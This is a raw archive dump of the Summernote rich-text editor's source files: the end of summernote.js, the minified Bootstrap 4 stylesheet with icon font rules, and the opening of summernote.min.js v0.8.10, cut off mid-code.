'note-icon-text-height', 'trash': 'note-icon-trash', 'underline': 'note-icon-underline', 'undo': 'note-icon-undo', 'unorderedlist': 'note-icon-unorderedlist', 'video': 'note-icon-video' } } }); }))); //# sourceMappingURL=summernote.js.map summernote-bs4.css000064400000042414151677331550010164 0ustar00@font-face{font-family:"summernote";font-style:normal;font-weight:normal;src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype")}[class^="note-icon-"]:before,[class*=" note-icon-"]:before{display:inline-block;font:normal normal normal 14px summernote;font-size:inherit;-webkit-font-smoothing:antialiased;text-decoration:inherit;text-rendering:auto;text-transform:none;vertical-align:middle;speak:none;-moz-osx-font-smoothing:grayscale}.note-icon-align-center:before,.note-icon-align-indent:before,.note-icon-align-justify:before,.note-icon-align-left:before,.note-icon-align-outdent:before,.note-icon-align-right:before,.note-icon-align:before,.note-icon-arrow-circle-down:before,.note-icon-arrow-circle-left:before,.note-icon-arrow-circle-right:before,.note-icon-arrow-circle-up:before,.note-icon-arrows-alt:before,.note-icon-arrows-h:before,.note-icon-arrows-v:before,.note-icon-bold:before,.note-icon-caret:before,.note-icon-chain-broken:before,.note-icon-circle:before,.note-icon-close:before,.note-icon-code:before,.note-icon-col-after:before,.note-icon-col-before:before,.note-icon-col-remove:before,.note-icon-eraser:before,.note-icon-font:before,.note-icon-frame:before,.note-icon-italic:before,.note-icon-link:before,.note-icon-magic:before,.note-icon-menu-check:before,.note-icon-minus:before,.note-icon-orderedlist:before,.note-icon-pencil:before,.note-icon-picture:before,.note-icon-question:before,.note-icon-redo:before,.note-icon-row-above:before,.note-icon-row-below:before,.note-icon-row-remove:before,.note-icon-special-character:before,.note-icon-square:before,.note-icon-strikethrough:before,.note-icon-subscript:before,.note-icon-summernote:before,.note-icon-superscript:before,.note-icon-table:before,.note-icon-text-height:before,.note-icon-trash:before,.note-icon-underline:before,.note-icon-undo:before,.note-icon-unorderedlist:before,.note-icon-video:before{display:inline-block;font-family:"summernote";font-style:normal;font-weight:normal;text-decoration:inherit}.note-icon-align-center:before{content:"\f101"}.note-icon-align-indent:before{content:"\f102"}.note-icon-align-justify:before{content:"\f103"}.note-icon-align-left:before{content:"\f104"}.note-icon-align-outdent:before{content:"\f105"}.note-icon-align-right:before{content:"\f106"}.note-icon-align:before{content:"\f107"}.note-icon-arrow-circle-down:before{content:"\f108"}.note-icon-arrow-circle-left:before{content:"\f109"}.note-icon-arrow-circle-right:before{content:"\f10a"}.note-icon-arrow-circle-up:before{content:"\f10b"}.note-icon-arrows-alt:before{content:"\f10c"}.note-icon-arrows-h:before{content:"\f10d"}.note-icon-arrows-v:before{content:"\f10e"}.note-icon-bold:before{content:"\f10f"}.note-icon-caret:before{content:"\f110"}.note-icon-chain-broken:before{content:"\f111"}.note-icon-circle:before{content:"\f112"}.note-icon-close:before{content:"\f113"}.note-icon-code:before{content:"\f114"}.note-icon-col-after:before{content:"\f115"}.note-icon-col-before:before{content:"\f116"}.note-icon-col-remove:before{content:"\f117"}.note-icon-eraser:before{content:"\f118"}.note-icon-font:before{content:"\f119"}.note-icon-frame:before{content:"\f11a"}.note-icon-italic:before{content:"\f11b"}.note-icon-link:before{content:"\f11c"}.note-icon-magic:before{content:"\f11d"}.note-icon-menu-check:before{content:"\f11e"}.note-icon-minus:before{content:"\f11f"}.note-icon-orderedlist:before{content:"\f120"}.note-icon-pencil:before{content:"\f121"}.note-icon-picture:before{content:"\f122"}.note-icon-question:before{content:"\f123"}.note-icon-redo:before{content:"\f124"}.note-icon-row-above:before{content:"\f125"}.note-icon-row-below:before{content:"\f126"}.note-icon-row-remove:before{content:"\f127"}.note-icon-special-character:before{content:"\f128"}.note-icon-square:before{content:"\f129"}.note-icon-strikethrough:before{content:"\f12a"}.note-icon-subscript:before{content:"\f12b"}.note-icon-summernote:before{content:"\f12c"}.note-icon-superscript:before{content:"\f12d"}.note-icon-table:before{content:"\f12e"}.note-icon-text-height:before{content:"\f12f"}.note-icon-trash:before{content:"\f130"}.note-icon-underline:before{content:"\f131"}.note-icon-undo:before{content:"\f132"}.note-icon-unorderedlist:before{content:"\f133"}.note-icon-video:before{content:"\f134"}.note-editor{position:relative}.note-editor .note-dropzone{position:absolute;z-index:100;display:none;color:#87cefa;background-color:#fff;opacity:.95}.note-editor .note-dropzone .note-dropzone-message{display:table-cell;font-size:28px;font-weight:700;text-align:center;vertical-align:middle}.note-editor .note-dropzone.hover{color:#098ddf}.note-editor.dragover .note-dropzone{display:table}.note-editor .note-editing-area{position:relative}.note-editor .note-editing-area .note-editable{outline:0}.note-editor .note-editing-area .note-editable sup{vertical-align:super}.note-editor .note-editing-area .note-editable sub{vertical-align:sub}.note-editor .note-editing-area img.note-float-left{margin-right:10px}.note-editor .note-editing-area img.note-float-right{margin-left:10px}.note-editor.note-frame{border:1px solid #a9a9a9}.note-editor.note-frame.codeview .note-editing-area .note-editable{display:none}.note-editor.note-frame.codeview .note-editing-area .note-codable{display:block}.note-editor.note-frame .note-editing-area{overflow:hidden}.note-editor.note-frame .note-editing-area .note-editable{padding:10px;overflow:auto;color:#000;word-wrap:break-word;background-color:#fff}.note-editor.note-frame .note-editing-area .note-editable[contenteditable="false"]{background-color:#e5e5e5}.note-editor.note-frame .note-editing-area .note-codable{display:none;width:100%;padding:10px;margin-bottom:0;font-family:Menlo,Monaco,monospace,sans-serif;font-size:14px;color:#ccc;background-color:#222;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;box-shadow:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;resize:none}.note-editor.note-frame.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important}.note-editor.note-frame.fullscreen .note-editable{background-color:#fff}.note-editor.note-frame.fullscreen .note-resizebar{display:none}.note-editor.note-frame .note-status-output{display:block;width:100%;height:20px;margin-bottom:0;font-size:14px;line-height:1.42857143;color:#000;border:0;border-top:1px solid #e2e2e2}.note-editor.note-frame .note-status-output:empty{height:0;border-top:0 solid transparent}.note-editor.note-frame .note-status-output .pull-right{float:right!important}.note-editor.note-frame .note-status-output .text-muted{color:#777}.note-editor.note-frame .note-status-output .text-primary{color:#286090}.note-editor.note-frame .note-status-output .text-success{color:#3c763d}.note-editor.note-frame .note-status-output .text-info{color:#31708f}.note-editor.note-frame .note-status-output .text-warning{color:#8a6d3b}.note-editor.note-frame .note-status-output .text-danger{color:#a94442}.note-editor.note-frame .note-status-output .alert{padding:7px 10px 2px 10px;margin:-7px 0 0 0;color:#000;background-color:#f5f5f5;border-radius:0}.note-editor.note-frame .note-status-output .alert .note-icon{margin-right:5px}.note-editor.note-frame .note-status-output .alert-success{color:#3c763d!important;background-color:#dff0d8!important}.note-editor.note-frame .note-status-output .alert-info{color:#31708f!important;background-color:#d9edf7!important}.note-editor.note-frame .note-status-output .alert-warning{color:#8a6d3b!important;background-color:#fcf8e3!important}.note-editor.note-frame .note-status-output .alert-danger{color:#a94442!important;background-color:#f2dede!important}.note-editor.note-frame .note-statusbar{background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.note-editor.note-frame .note-statusbar .note-resizebar{width:100%;height:9px;padding-top:1px;cursor:ns-resize}.note-editor.note-frame .note-statusbar .note-resizebar .note-icon-bar{width:20px;margin:1px auto;border-top:1px solid #a9a9a9}.note-editor.note-frame .note-statusbar.locked .note-resizebar{cursor:default}.note-editor.note-frame .note-statusbar.locked .note-resizebar .note-icon-bar{display:none}.note-editor.note-frame .note-placeholder{padding:10px}.note-popover.popover{display:none;max-width:none}.note-popover.popover .popover-content a{display:inline-block;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:middle}.note-popover.popover .arrow{left:20px!important}.note-toolbar{position:relative;z-index:500}.note-popover .popover-content,.card-header.note-toolbar{padding:0 0 5px 5px;margin:0}.note-popover .popover-content>.btn-group,.card-header.note-toolbar>.btn-group{margin-top:5px;margin-right:5px;margin-left:0}.note-popover .popover-content .btn-group .note-table,.card-header.note-toolbar .btn-group .note-table{min-width:0;padding:5px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker{font-size:18px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher{position:absolute!important;z-index:3;width:10em;height:10em;cursor:pointer}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted{position:relative!important;z-index:1;width:5em;height:5em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted,.card-header.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted{position:absolute!important;z-index:2;width:1em;height:1em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .note-style .dropdown-style blockquote,.card-header.note-toolbar .note-style .dropdown-style blockquote,.note-popover .popover-content .note-style .dropdown-style pre,.card-header.note-toolbar .note-style .dropdown-style pre{padding:5px 10px;margin:0}.note-popover .popover-content .note-style .dropdown-style h1,.card-header.note-toolbar .note-style .dropdown-style h1,.note-popover .popover-content .note-style .dropdown-style h2,.card-header.note-toolbar .note-style .dropdown-style h2,.note-popover .popover-content .note-style .dropdown-style h3,.card-header.note-toolbar .note-style .dropdown-style h3,.note-popover .popover-content .note-style .dropdown-style h4,.card-header.note-toolbar .note-style .dropdown-style h4,.note-popover .popover-content .note-style .dropdown-style h5,.card-header.note-toolbar .note-style .dropdown-style h5,.note-popover .popover-content .note-style .dropdown-style h6,.card-header.note-toolbar .note-style .dropdown-style h6,.note-popover .popover-content .note-style .dropdown-style p,.card-header.note-toolbar .note-style .dropdown-style p{padding:0;margin:0}.note-popover .popover-content .note-color .dropdown-toggle,.card-header.note-toolbar .note-color .dropdown-toggle{width:20px;padding-left:5px}.note-popover .popover-content .note-color .dropdown-menu,.card-header.note-toolbar .note-color .dropdown-menu{min-width:337px}.note-popover .popover-content .note-color .dropdown-menu .note-palette,.card-header.note-toolbar .note-color .dropdown-menu .note-palette{display:inline-block;width:160px;margin:0}.note-popover .popover-content .note-color .dropdown-menu .note-palette:first-child,.card-header.note-toolbar .note-color .dropdown-menu .note-palette:first-child{margin:0 5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-palette-title,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-palette-title{margin:2px 7px;font-size:12px;text-align:center;border-bottom:1px solid #eee}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset{width:100%;padding:0 3px;margin:3px;font-size:11px;cursor:pointer;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-row,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-color-row{height:20px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset:hover,.card-header.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset:hover{background:#eee}.note-popover .popover-content .note-para .dropdown-menu,.card-header.note-toolbar .note-para .dropdown-menu{min-width:216px;padding:5px}.note-popover .popover-content .note-para .dropdown-menu>div:first-child,.card-header.note-toolbar .note-para .dropdown-menu>div:first-child{margin-right:5px}.note-popover .popover-content .dropdown-menu,.card-header.note-toolbar .dropdown-menu{min-width:90px}.note-popover .popover-content .dropdown-menu.right,.card-header.note-toolbar .dropdown-menu.right{right:0;left:auto}.note-popover .popover-content .dropdown-menu.right::before,.card-header.note-toolbar .dropdown-menu.right::before{right:9px;left:auto!important}.note-popover .popover-content .dropdown-menu.right::after,.card-header.note-toolbar .dropdown-menu.right::after{right:10px;left:auto!important}.note-popover .popover-content .dropdown-menu.note-check a i,.card-header.note-toolbar .dropdown-menu.note-check a i{color:deepskyblue;visibility:hidden}.note-popover .popover-content .dropdown-menu.note-check a.checked i,.card-header.note-toolbar .dropdown-menu.note-check a.checked i{visibility:visible}.note-popover .popover-content .note-fontsize-10,.card-header.note-toolbar .note-fontsize-10{font-size:10px}.note-popover .popover-content .note-color-palette,.card-header.note-toolbar .note-color-palette{line-height:1}.note-popover .popover-content .note-color-palette div .note-color-btn,.card-header.note-toolbar .note-color-palette div .note-color-btn{width:20px;height:20px;padding:0;margin:0;border:1px solid #fff}.note-popover .popover-content .note-color-palette div .note-color-btn:hover,.card-header.note-toolbar .note-color-palette div .note-color-btn:hover{border:1px solid #000}.note-dialog>div{display:none}.note-dialog .form-group{margin-right:0;margin-left:0}.note-dialog .note-modal-form{margin:0}.note-dialog .note-image-dialog .note-dropzone{min-height:100px;margin-bottom:10px;font-size:30px;line-height:4;color:lightgray;text-align:center;border:4px dashed lightgray}@-moz-document url-prefix(){.note-image-input{height:auto}}.note-placeholder{position:absolute;display:none;color:gray}.note-handle .note-control-selection{position:absolute;display:none;border:1px solid black}.note-handle .note-control-selection>div{position:absolute}.note-handle .note-control-selection .note-control-selection-bg{width:100%;height:100%;background-color:black;-webkit-opacity:.3;-khtml-opacity:.3;-moz-opacity:.3;opacity:.3;-ms-filter:alpha(opacity=30);filter:alpha(opacity=30)}.note-handle .note-control-selection .note-control-handle{width:7px;height:7px;border:1px solid black}.note-handle .note-control-selection .note-control-holder{width:7px;height:7px;border:1px solid black}.note-handle .note-control-selection .note-control-sizing{width:7px;height:7px;background-color:white;border:1px solid black}.note-handle .note-control-selection .note-control-nw{top:-5px;left:-5px;border-right:0;border-bottom:0}.note-handle .note-control-selection .note-control-ne{top:-5px;right:-5px;border-bottom:0;border-left:none}.note-handle .note-control-selection .note-control-sw{bottom:-5px;left:-5px;border-top:0;border-right:0}.note-handle .note-control-selection .note-control-se{right:-5px;bottom:-5px;cursor:se-resize}.note-handle .note-control-selection .note-control-se.note-control-holder{cursor:default;border-top:0;border-left:none}.note-handle .note-control-selection .note-control-selection-info{right:0;bottom:0;padding:5px;margin:5px;font-size:12px;color:#fff;background-color:#000;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-opacity:.7;-khtml-opacity:.7;-moz-opacity:.7;opacity:.7;-ms-filter:alpha(opacity=70);filter:alpha(opacity=70)}.note-hint-popover{min-width:100px;padding:2px}.note-hint-popover .popover-content{max-height:150px;padding:3px;overflow:auto}.note-hint-popover .popover-content .note-hint-group .note-hint-item{display:block!important;padding:3px}.note-hint-popover .popover-content .note-hint-group .note-hint-item.active,.note-hint-popover .popover-content .note-hint-group .note-hint-item:hover{display:block;clear:both;font-weight:400;line-height:1.4;color:#fff;text-decoration:none;white-space:nowrap;cursor:pointer;background-color:#428bca;outline:0}summernote.min.js000064400000347127151677331550010115 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],e):e(t.jQuery)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e=function(){function e(t,e,o,n){this.markup=t,this.children=e,this.options=o,this.callback=n}return e.prototype.render=function(e){var o=t(this.markup);if(this.options&&this.options.contents&&o.html(this.options.contents),this.options&&this.options.className&&o.addClass(this.options.className),this.options&&this.options.data&&t.each(this.options.data,function(t,e){o.attr("data-"+t,e)}),this.options&&this.options.click&&o.on("click",this.options.click),this.children){var n=o.find(".note-children-container");this.children.forEach(function(t){t.render(n.length?n:o)})}return this.callback&&this.callback(o,this.options),this.options&&this.options.callback&&this.options.callback(o),e&&e.append(o),o},e}(),o=function(o,n){return function(){var i="object"==typeof arguments[1]?arguments[1]:arguments[0],r=t.isArray(arguments[0])?arguments[0]:[];return i&&i.children&&(r=i.children),new e(o,r,i,n)}},n=o('<div class="note-editor note-frame panel"/>'),i=o('<div class="note-toolbar-wrapper panel-default"><div class="note-toolbar panel-heading" role="toolbar"></div></div>'),r=o('<div class="note-editing-area"/>'),s=o('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'),a=o('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'),l=o(['<output class="note-status-output" aria-live="polite"/>','<div class="note-statusbar" role="status">',' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">',' <div class="note-icon-bar"/>',' <div class="note-icon-bar"/>',' <div class="note-icon-bar"/>'," </div>","</div>"].join("")),c=o('<div class="note-editor"/>'),d=o([' <output class="note-status-output" aria-live="polite"/>','<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'].join("")),u=o('<div class="note-btn-group btn-group">'),h=o('<ul class="dropdown-menu" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t,i="object"==typeof t?t.option:void 0;return'<li role="listitem" aria-label="'+t+'"><a href="#" '+('data-value="'+e+'"'+(void 0!==i?' data-option="'+i+'"':""))+">"+n+"</a></li>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),p=o('<ul class="dropdown-menu note-check" role="list">',function(e,o){var n=t.isArray(o.items)?o.items.map(function(t){var e="string"==typeof t?t:t.value||"",n=o.template?o.template(t):t;return'<li role="listitem" aria-label="'+t+'"><a href="#" data-value="'+e+'">'+b(o.checkClassName)+" "+n+"</a></li>"}).join(""):o.items;e.html(n).attr({"aria-label":o.title})}),f=o('<div class="note-color-palette"/>',function(t,e){for(var o=[],n=0,i=e.colors.length;n<i;n++){for(var r=e.eventName,s=e.colors[n],a=e.colorsName[n],l=[],c=0,d=s.length;c<d;c++){var u=s[c],h=a[c];l.push(['<button type="button" class="note-color-btn"','style="background-color:',u,'" ','data-event="',r,'" ','data-value="',u,'" ','title="',h,'" ','aria-label="',h,'" ','data-toggle="button" tabindex="-1"></button>'].join(""))}o.push('<div class="note-color-row">'+l.join("")+"</div>")}t.html(o.join("")),e.tooltip&&t.find(".note-color-btn").tooltip({container:e.container,trigger:"hover",placement:"bottom"})}),m=o('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>',function(t,e){e.fade&&t.addClass("fade"),t.attr({"aria-label":e.title}),t.html(['<div class="modal-dialog">',' <div class="modal-content">',e.title?' <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">×</button> <h4 class="modal-title">'+e.title+"</h4> </div>":"",' <div class="modal-body">'+e.body+"</div>",e.footer?' <div class="modal-footer">'+e.footer+"</div>":""," </div>","</div>"].join(""))}),g=o(['<div class="note-popover popover in">',' <div class="arrow"/>',' <div class="popover-content note-children-container"/>',"</div>"].join(""),function(t,e){var o=void 0!==e.direction?e.direction:"bottom";t.addClass(o),e.hideArrow&&t.find(".arrow").hide()}),v=o('<div class="checkbox"></div>',function(t,e){t.html([" <label"+(e.id?' for="'+e.id+'"':"")+">",' <input role="checkbox" type="checkbox"'+(e.id?' id="'+e.id+'"':""),e.checked?" checked":"",' aria-checked="'+(e.checked?"true":"false")+'"/>',e.text?e.text:"","</label>"].join(""))}),b=function(t,e){return"<"+(e=e||"i")+' class="'+t+'"/>'},y={editor:n,toolbar:i,editingArea:r,codable:s,editable:a,statusbar:l,airEditor:c,airEditable:d,buttonGroup:u,dropdown:h,dropdownButtonContents:function(t,e){return t+" "+b(e.icons.caret,"span")},dropdownCheck:p,palette:f,dialog:m,popover:g,checkbox:v,icon:b,options:{},button:function(t,e){return o('<button type="button" class="note-btn btn btn-default btn-sm" role="button" tabindex="-1">',function(t,e){e&&e.tooltip&&t.attr({title:e.tooltip,"aria-label":e.tooltip}).tooltip({container:e.container,trigger:"hover",placement:"bottom"})})(t,e)},toggleBtn:function(t,e){t.toggleClass("disabled",!e),t.attr("disabled",!e)},toggleBtnActive:function(t,e){t.toggleClass("active",e)},onDialogShown:function(t,e){t.one("shown.bs.modal",e)},onDialogHidden:function(t,e){t.one("hidden.bs.modal",e)},showDialog:function(t){t.modal("show")},hideDialog:function(t){t.modal("hide")},createLayout:function(t,e){var o=(e.airMode?y.airEditor([y.editingArea([y.airEditable()])]):y.editor([y.toolbar(),y.editingArea([y.codable(),y.editable()]),y.statusbar()])).render();return o.insertAfter(t),{note:t,editor:o,toolbar:o.find(".note-toolbar"),editingArea:o.find(".note-editing-area"),editable:o.find(".note-editable"),codable:o.find(".note-codable"),statusbar:o.find(".note-statusbar")}},removeLayout:function(t,e){t.html(e.editable.html()),e.editor.remove(),t.show()}};var k=0;var C={eq:function(t){return function(e){return t===e}},eq2:function(t,e){return t===e},peq2:function(t){return function(e,o){return e[t]===o[t]}},ok:function(){return!0},fail:function(){return!1},self:function(t){return t},not:function(t){return function(){return!t.apply(t,arguments)}},and:function(t,e){return function(o){return t(o)&&e(o)}},invoke:function(t,e){return function(){return t[e].apply(t,arguments)}},uniqueId:function(t){var e=++k+"";return t?t+e:e},rect2bnd:function(t){var e=$(document);return{top:t.top+e.scrollTop(),left:t.left+e.scrollLeft(),width:t.right-t.left,height:t.bottom-t.top}},invertObject:function(t){var e={};for(var o in t)t.hasOwnProperty(o)&&(e[t[o]]=o);return e},namespaceToCamel:function(t,e){return(e=e||"")+t.split(".").map(function(t){return t.substring(0,1).toUpperCase()+t.substring(1)}).join("")},debounce:function(t,e,o){var n,i=this;return function(){var r=i,s=arguments,a=o&&!n;clearTimeout(n),n=setTimeout(function(){n=null,o||t.apply(r,s)},e),a&&t.apply(r,s)}}};function w(t){return t[0]}function x(t){return t[t.length-1]}function S(t){return t.slice(1)}function T(e,o){return t.inArray(o,e)}function I(t,e){return-1!==T(t,e)}var N={head:w,last:x,initial:function(t){return t.slice(0,t.length-1)},tail:S,prev:function(t,e){var o=T(t,e);return-1===o?null:t[o-1]},next:function(t,e){var o=T(t,e);return-1===o?null:t[o+1]},find:function(t,e){for(var o=0,n=t.length;o<n;o++){var i=t[o];if(e(i))return i}},contains:I,all:function(t,e){for(var o=0,n=t.length;o<n;o++)if(!e(t[o]))return!1;return!0},sum:function(t,e){return e=e||C.self,t.reduce(function(t,o){return t+e(o)},0)},from:function(t){for(var e=[],o=t.length,n=-1;++n<o;)e[n]=t[n];return e},isEmpty:function(t){return!t||!t.length},clusterBy:function(t,e){return t.length?S(t).reduce(function(t,o){var n=x(t);return e(x(n),o)?n[n.length]=o:t[t.length]=[o],t},[[w(t)]]):[]},compact:function(t){for(var e=[],o=0,n=t.length;o<n;o++)t[o]&&e.push(t[o]);return e},unique:function(t){for(var e=[],o=0,n=t.length;o<n;o++)I(e,t[o])||e.push(t[o]);return e}},E="function"==typeof define&&define.amd;var A,R=navigator.userAgent,P=/MSIE|Trident/i.test(R);if(P){var L=/MSIE (\d+[.]\d+)/.exec(R);L&&(A=parseFloat(L[1])),(L=/Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(R))&&(A=parseFloat(L[1]))}var H=/Edge\/\d+/.test(R),D=!!window.CodeMirror;if(!D&&E)if("function"==typeof __webpack_require__)try{require.resolve("codemirror"),D=!0}catch(t){}else if("undefined"!=typeof require)if(void 0!==require.resolve)try{require.resolve("codemirror"),D=!0}catch(t){}else void 0!==require.specified&&(D=require.specified("codemirror"));var F="ontouchstart"in window||navigator.MaxTouchPoints>0||navigator.msMaxTouchPoints>0,B=P||H?"DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted":"input",z={isMac:navigator.appVersion.indexOf("Mac")>-1,isMSIE:P,isEdge:H,isFF:!H&&/firefox/i.test(R),isPhantom:/PhantomJS/i.test(R),isWebkit:!H&&/webkit/i.test(R),isChrome:!H&&/chrome/i.test(R),isSafari:!H&&/safari/i.test(R),browserVersion:A,jqueryVersion:parseFloat(t.fn.jquery),isSupportAmd:E,isSupportTouch:F,hasCodeMirror:D,isFontInstalled:function(e){var o="Comic Sans MS"===e?"Courier New":"Comic Sans MS",n=t("<div>").css({position:"absolute",left:"-9999px",top:"-9999px",fontSize:"200px"}).text("mmmmmmmmmwwwwwww").appendTo(document.body),i=n.css("fontFamily",o).width(),r=n.css("fontFamily",e+","+o).width();return n.remove(),i!==r},isW3CRangeSupport:!!document.createRange,inputEventName:B},M=String.fromCharCode(160);function O(e){return e&&t(e).hasClass("note-editable")}function U(t){return t=t.toUpperCase(),function(e){return e&&e.nodeName.toUpperCase()===t}}function j(t){return t&&3===t.nodeType}function q(t){return t&&/^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(t.nodeName.toUpperCase())}function K(t){return!O(t)&&(t&&/^DIV|^P|^LI|^H[1-7]/.test(t.nodeName.toUpperCase()))}var V=U("PRE"),W=U("LI");var G=U("TABLE"),_=U("DATA");function Z(t){return!(tt(t)||Y(t)||Q(t)||K(t)||G(t)||X(t)||_(t))}function Y(t){return t&&/^UL|^OL/.test(t.nodeName.toUpperCase())}var Q=U("HR");function J(t){return t&&/^TD|^TH/.test(t.nodeName.toUpperCase())}var X=U("BLOCKQUOTE");function tt(t){return J(t)||X(t)||O(t)}var et=U("A");var ot=U("BODY");var nt=z.isMSIE&&z.browserVersion<11?" ":"<br>";function it(t){return j(t)?t.nodeValue.length:t?t.childNodes.length:0}function rt(t){var e=it(t);return 0===e||(!j(t)&&1===e&&t.innerHTML===nt||!(!N.all(t.childNodes,j)||""!==t.innerHTML))}function st(t){q(t)||it(t)||(t.innerHTML=nt)}function at(t,e){for(;t;){if(e(t))return t;if(O(t))break;t=t.parentNode}return null}function lt(t,e){e=e||C.fail;var o=[];return at(t,function(t){return O(t)||o.push(t),e(t)}),o}function ct(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.nextSibling;return o}function dt(t,e){var o=e.nextSibling,n=e.parentNode;return o?n.insertBefore(t,o):n.appendChild(t),t}function ut(e,o){return t.each(o,function(t,o){e.appendChild(o)}),e}function ht(t){return 0===t.offset}function pt(t){return t.offset===it(t.node)}function ft(t){return ht(t)||pt(t)}function mt(t,e){for(;t&&t!==e;){if(0!==vt(t))return!1;t=t.parentNode}return!0}function gt(t,e){if(!e)return!1;for(;t&&t!==e;){if(vt(t)!==it(t.parentNode)-1)return!1;t=t.parentNode}return!0}function vt(t){for(var e=0;t=t.previousSibling;)e+=1;return e}function bt(t){return!!(t&&t.childNodes&&t.childNodes.length)}function yt(t,e){var o,n;if(0===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)}else bt(t.node)?n=it(o=t.node.childNodes[t.offset-1]):(o=t.node,n=e?0:t.offset-1);return{node:o,offset:n}}function kt(t,e){var o,n;if(it(t.node)===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)+1}else bt(t.node)?(o=t.node.childNodes[t.offset],n=0):(o=t.node,n=e?it(t.node):t.offset+1);return{node:o,offset:n}}function Ct(t,e){return t.node===e.node&&t.offset===e.offset}function wt(t,e){var o=e&&e.isSkipPaddingBlankHTML,n=e&&e.isNotSplitEdgePoint;if(ft(t)&&(j(t.node)||n)){if(ht(t))return t.node;if(pt(t))return t.node.nextSibling}if(j(t.node))return t.node.splitText(t.offset);var i=t.node.childNodes[t.offset],r=dt(t.node.cloneNode(!1),t.node);return ut(r,ct(i)),o||(st(t.node),st(r)),r}function xt(t,e,o){var n=lt(e.node,C.eq(t));return n.length?1===n.length?wt(e,o):n.reduce(function(t,n){return t===e.node&&(t=wt(e,o)),wt({node:n,offset:t?vt(t):it(n)},o)}):null}function St(t){return document.createElement(t)}function Tt(t,e){if(t&&t.parentNode){if(t.removeNode)return t.removeNode(e);var o=t.parentNode;if(!e){for(var n=[],i=0,r=t.childNodes.length;i<r;i++)n.push(t.childNodes[i]);for(i=0,r=n.length;i<r;i++)o.insertBefore(n[i],t)}o.removeChild(t)}}var It=U("TEXTAREA");function $t(t,e){var o=It(t[0])?t.val():t.html();return e?o.replace(/[\n\r]/g,""):o}var Nt={NBSP_CHAR:M,ZERO_WIDTH_NBSP_CHAR:"\ufeff",blank:nt,emptyPara:"<p>"+nt+"</p>",makePredByNodeName:U,isEditable:O,isControlSizing:function(e){return e&&t(e).hasClass("note-control-sizing")},isText:j,isElement:function(t){return t&&1===t.nodeType},isVoid:q,isPara:K,isPurePara:function(t){return K(t)&&!W(t)},isHeading:function(t){return t&&/^H[1-7]/.test(t.nodeName.toUpperCase())},isInline:Z,isBlock:C.not(Z),isBodyInline:function(t){return Z(t)&&!at(t,K)},isBody:ot,isParaInline:function(t){return 